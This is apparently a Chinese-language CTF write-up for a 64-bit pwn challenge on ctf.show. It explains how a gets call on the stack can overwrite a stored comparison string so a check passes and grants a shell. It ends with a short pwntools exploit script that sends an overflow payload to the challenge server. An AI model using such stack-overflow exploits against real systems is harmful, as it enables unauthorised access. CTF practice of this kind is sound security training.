# 1. 查看程序

64 位程序,保护全开

ida 反汇编查看:

从上面看到会将一个字符串复制到 V5,然后有一个 check 的函数:


fake_flag:

check 函数会将复制过去的 v5 与系统保存的字符串逐个进行对比,直到对比时两个字符串相等时返回 1 ,就可以 getshell

# 2. 漏洞分析

由于一开始复制给 v5 的字符串在栈上,而后面有个 get 函数也是往栈上写内容,并且地址更低也就可以覆盖 v5 的内容来满足后面的判断

# exp

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=remote("pwn.challenge.ctf.show",29390)
payload1=b"a"*0x30+b"n0t_r3@11y_f1@g"
p.sendline(payload1)
p.interactive()